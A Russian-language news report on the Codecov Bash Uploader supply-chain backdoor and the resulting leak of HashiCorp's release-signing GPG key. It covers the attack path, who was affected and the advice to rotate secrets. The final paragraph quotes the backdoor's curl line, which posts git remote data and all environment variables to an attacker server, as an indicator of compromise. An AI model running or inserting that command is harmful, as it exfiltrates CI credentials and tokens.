Π’Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ врСдоносного ΠΊΠΎΠ΄Π° Π² скрипт Codecov ΠΏΡ€ΠΈΠ²Π΅Π»ΠΎ ΠΊ ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚Π°Ρ†ΠΈΠΈ PGP-ΠΊΠ»ΡŽΡ‡Π° HashiCorp

Компания HashiCorp, извСстная Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΎΠΉ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹Ρ… инструмСнтариСв Vagrant, Packer, Nomad ΠΈ Terraform, объявила ΠΎΠ± ΡƒΡ‚Π΅Ρ‡ΠΊΠ΅ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΠΎΠ³ΠΎ GPG-ΠΊΠ»ΡŽΡ‡Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ для создания Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Ρ… подписСй, Π²Π΅Ρ€ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π΅Π»ΠΈΠ·Ρ‹. ΠΡ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠ΅, ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ²ΡˆΠΈΠ΅ доступ ΠΊ GPG-ΠΊΠ»ΡŽΡ‡Ρƒ, ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΌΠΎΠ³Π»ΠΈ внСсти скрытыС измСнСния Π² ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Ρ‹ HashiCorp, Π·Π°Π²Π΅Ρ€ΠΈΠ² ΠΈΡ… ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠΉ Ρ†ΠΈΡ„Ρ€ΠΎΠ²ΠΎΠΉ подписью. ΠŸΡ€ΠΈ этом компания заявила, Ρ‡Ρ‚ΠΎ Π² Ρ…ΠΎΠ΄Π΅ ΠΏΡ€ΠΎΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ Π°ΡƒΠ΄ΠΈΡ‚Π° слСдов ΠΏΠΎΠΏΡ‹Ρ‚ΠΎΠΊ внСсСния ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΉ Π½Π΅ выявлСно.

Π’ настоящСС врСмя скомпромСтированный GPG-ΠΊΠ»ΡŽΡ‡ ΠΎΡ‚ΠΎΠ·Π²Π°Π½ ΠΈ вмСсто Π½Π΅Π³ΠΎ Π²Π²Π΅Π΄Ρ‘Π½ Π² ΠΎΠ±ΠΈΡ…ΠΎΠ΄ Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠ»ΡŽΡ‡. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΠ»Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π΅Ρ€ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ² SHA256SUM ΠΈ SHA256SUM.sig, ΠΈ Π½Π΅ ΠΊΠΎΡΠ½ΡƒΠ»Π°ΡΡŒ формирования Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Ρ… подписСй для Linux-ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² DEB ΠΈ RPM, поставляСмых Ρ‡Π΅Ρ€Π΅Π· releases.hashicorp.com, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ подтвСрТдСния выпусков для macOS ΠΈ Windows (AuthentiCode).

Π£Ρ‚Π΅Ρ‡ΠΊΠ° ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»Π° ΠΈΠ·-Π·Π° использования Π² инфраструктурС скрипта Codecov Bash Uploader (codecov-bash), ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π½ΠΎΠ³ΠΎ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ coverage-ΠΎΡ‚Ρ‡Ρ‘Ρ‚ΠΎΠ² ΠΈΠ· систСм Π½Π΅ΠΏΡ€Π΅Ρ€Ρ‹Π²Π½ΠΎΠΉ ΠΈΠ½Ρ‚Π΅Π³Ρ€Π°Ρ†ΠΈΠΈ. Π’ Ρ…ΠΎΠ΄Π΅ Π°Ρ‚Π°ΠΊΠΈ Π½Π° компанию Codecov Π² ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ скрипт Π±Ρ‹Π» скрыто Π²Π½Π΅Π΄Ρ€Ρ‘Π½ бэкдор, Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π»Π° ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΎΠ²Π°Π½Π° ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ ΠΈ ΠΊΠ»ΡŽΡ‡Π΅ΠΉ ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΡ Π½Π° сСрвСр Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΎΠ².

Для Π²Π·Π»ΠΎΠΌΠ° Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΠ΅ воспользовались ошибкой Π² процСссС создания Docker-ΠΎΠ±Ρ€Π°Π·Π° Codecov, позволявшСй ΠΈΠ·Π²Π»Π΅Ρ‡ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ для доступа ΠΊ GCS (Google Cloud Storage), Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для внСсСния ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Π² скрипт Bash Uploader, Ρ€Π°ΡΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΠ²ΡˆΠΈΠΉΡΡ с сайта codecov.io. ИзмСнСния Π±Ρ‹Π»ΠΈ внСсСны Π΅Ρ‰Ρ‘ 31 января, Π΄Π²Π° мСсяца ΠΎΡΡ‚Π°Π²Π°Π»ΠΈΡΡŒ Π½Π΅Π·Π°ΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΈ позволяли Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Ρ…Ρ€Π°Π½ΠΈΠΌΡƒΡŽ Π² окруТСниях систСм Π½Π΅ΠΏΡ€Π΅Ρ€Ρ‹Π²Π½ΠΎΠΉ ΠΈΠ½Ρ‚Π΅Π³Ρ€Π°Ρ†ΠΈΠΈ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ². ΠŸΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ врСдоносного ΠΊΠΎΠ΄Π° Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ ΠΌΠΎΠ³Π»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ тСстируСмом Git-Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ ΠΈ всСх ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… окруТСния, Π² Ρ‚ΠΎΠΌ числС Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰ΠΈΡ… Ρ‚ΠΎΠΊΠ΅Π½Ρ‹, ΠΊΠ»ΡŽΡ‡ΠΈ ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΡ ΠΈ ΠΏΠ°Ρ€ΠΎΠ»ΠΈ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Π΅ Π² систСмы Π½Π΅ΠΏΡ€Π΅Ρ€Ρ‹Π²Π½ΠΎΠΉ ΠΈΠ½Ρ‚Π΅Π³Ρ€Π°Ρ†ΠΈΠΈ для ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ доступа ΠΊ ΠΊΠΎΠ΄Ρƒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°ΠΌ ΠΈ сСрвисам, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ Amazon Web Services ΠΈ GitHub.

ΠšΡ€ΠΎΠΌΠ΅ прямого Π²Ρ‹Π·ΠΎΠ²Π° скрипт Codecov Bash Uploader использовался Π² составС Π΄Ρ€ΡƒΠ³ΠΈΡ… Π·Π°Π³Ρ€ΡƒΠ·Ρ‡ΠΈΠΊΠΎΠ², Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Codecov-action (Github), Codecov-circleci-orb ΠΈ Codecov-bitrise-step, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ΄Π²Π΅Ρ€ΠΆΠ΅Π½Ρ‹ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ΅. ВсСм ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ codecov-bash ΠΈ связанных с Π½ΠΈΠΌ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΎΠ² Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π½ΠΎ провСсти Π°ΡƒΠ΄ΠΈΡ‚ своих инфраструктур, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΆΠ΅ ΠΏΠΎΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΏΠ°Ρ€ΠΎΠ»ΠΈ ΠΈ ΠΊΠ»ΡŽΡ‡ΠΈ ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΡ. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ бэкдора Π² скриптС ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎ Π½Π°Π»ΠΈΡ‡ΠΈΡŽ Π² Π½Ρ‘ΠΌ строки curl -sm 0.5 -d «$(git remote -v)<<<<<< ENV $(env)» http://<IP-сСрвСра-Π°Ρ‚Π°ΠΊΡƒΡŽΡ‰ΠΈΡ…>/upload/v2 || true

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru